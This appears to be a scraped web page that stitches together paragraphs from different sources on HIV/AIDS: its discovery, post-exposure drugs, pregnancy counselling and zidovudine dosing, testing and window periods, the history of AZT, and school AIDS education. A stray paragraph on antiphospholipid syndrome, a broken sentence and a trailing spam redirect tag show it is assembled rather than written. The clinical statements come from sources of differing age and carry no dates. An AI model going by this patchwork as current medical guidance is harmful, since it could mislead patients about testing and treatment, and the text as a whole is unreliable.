Another group working contemporaneously with the Montagnier and Gallo groups was that of Dr. Jay Levy at the University of California, San Francisco. He independently discovered the AIDS virus in 1983 and named it the AIDS associated retrovirus (ARV). This virus was very different from the virus reported by the Montagnier and Gallo groups. The ARV strains indicated, for the first time, the heterogeneity of HIV isolates and several of these remain classic examples of the AIDS virus found in the United States.
People who have been exposed to HIV from a blood splash, needlestick, or sexual contact may reduce the chance of infection by taking antiretroviral drugs for 4 weeks. These drugs are more effective when they are started as soon as possible after the exposure. Taking three or more drugs is currently recommended.
Many viruses cause an acute but limited infection inducing lasting protective immunity. Others, such as herpes viruses, set up a latent infection that is not eliminated but is controlled adequately by an adaptive immune response. However, infection with HIV seems rarely, if ever, to lead to an immune response that can prevent ongoing replication of the virus. Although the initial acute infection does seem to be controlled by the immune system, HIV continues to replicate and infect new cells.
Counseling for pregnant women:Mother-to-child transmission has been virtually eliminated by HIV testing, treatment with ART, and, in developed countries, use of breast milk substitutes. If pregnant women test positive for HIV, risk of mother-to-child transmission should be explained. Pregnant women who do not accept immediate treatment for their HIV infection should be encouraged to accept therapy to protect the unborn baby, typically beginning at about 14 wk gestation. Combination therapy is typically used because it is more effective than monotherapy and less likely to result in drug resistance. Some drugs can be toxic to the fetus or woman and should be avoided. If women meet criteria for ART, they should begin a regimen tailored to their history and stage of pregnancy and continue it throughout pregnancy. Cesarean delivery can also reduce risk of transmission. Regardless of the antepartum regimen used or mode of delivery, all HIV-infected women should be given IV zidovudine during labor, and after birth, neonates should be given oral zidovudine, which is continued for 6 wk after delivery (see also Prevention of Perinatal Transmission). Some women choose to terminate their pregnancy because HIV can be transmitted in utero to the fetus or for other reasons.
In antiphospholipid syndrome, these symptoms are accompanied by the presence of antiphospholipid antibodies (cardiolipin or lupus anticoagulant antibodies) in the blood. Treatment focuses on preventing clotting by thinning the blood with the use of anticoagulants and aspirin.
Since then, H.I.V. has been transformed into a treatable condition, one of the great victories of modern medicine. In 1987, the F.D.A. approved AZT, a cancer drug that had never gone to market, for use in H.I.V. patients. At first, it was extortionately priced and was prescribed in high doses, which proved toxic, provoking protest from the gay community. But AZT was able to insinuate itself into the virus’s DNA as it formed, and later it was used in lower doses. Scientists have now developed more than thirty antiretroviral medicines that stop H.I.V. from reproducing in helper T cells.
“It’s no longer a death sentence,” Boswell said of HIV. “It’s a very different time now. Most people just diagnosed with HIV will live an almost normal life span if they get an early diagnosis, appropriate care and stay on their medications.”
No test is perfect. Tests may be falsely positive or falsely negative. For example, it can take some time for the immune system to produce enough antibodies for the antibody test to turn positive. This time period is commonly referred to as the “window period” and may last six weeks to three months following infection. The antigen/antibody assay is most sensitive and may be positive within two weeks after infection. If the initial antibody test is negative or unclear, a repeat test should be performed three months later.
Testing for HIV is a two-step process involving a screening test and a confirmatory test. The first step is usually a screening test that looks for antibodies against the HIV. Specimens for testing come from blood obtained from a vein or a finger stick, an oral swab, or a urine sample. Results can come back in minutes (rapid tests) or can take several days, depending on the method that is used. If the screening HIV test is positive, the results are confirmed by a special test called a Western blot or indirect immunofluorescence assay test. A Western blot detects antibodies to specific components of the virus. The confirmatory test is necessary because the screening test is less accurate and occasionally will be positive in those who do not have HIV.
Schools play a major role in the effort to educate the public on AIDS. Several states have mandated AIDS prevention instruction in their schools. But the subject is controversial: it evokes personal, political, and moral reactions to sexuality. Responding to parental sensitivities, some states have authorized excused absences from such programs. The New York State Education Department faced a storm of controversy over its policy of not allowing absences at parental discretion. Furthermore, at the local and the federal levels, some conservatives have opposed certain kinds of AIDS education. During the 1980s, those who often criticized liberal approaches to sex education argued that AIDS materials should not be explicit, encourage sexuality, promote the use of contraceptives, or favorably portray gays and lesbians. In Congress, lawmakers attached amendments to appropriations measures (bills that authorize the spending of federal tax dollars) that mandate that no federal funds may be used to “promote homosexuality.” In response, the CDC adopted regulations that prohibit spending federal funds on AIDS education materials that might be found offensive by some members of certain communities. Despite the some communities have taken radical steps to halt the spread of AIDS. In 1991 and 1992, the school boards of New York City, San Francisco, Seattle, and Los Angeles voted to make condoms available to students in their public high school systems.
A disease of the immune system due to infection with HIV. HIV destroys the CD4 T lymphocytes (CD4 cells) of the immune system, leaving the body vulnerable to life-threatening infections and cancers. Acquired immunodeficiency syndrome (AIDS) is the most advanced stage of HIV infection. To be diagnosed with AIDS, a person with HIV must have an AIDS-defining condition or have a CD4 count less than 200 cells/mm³ (regardless of whether the person has an AIDS-defining condition). [redirect url=’http://penetratearticles.info/bump’ sec=’7′]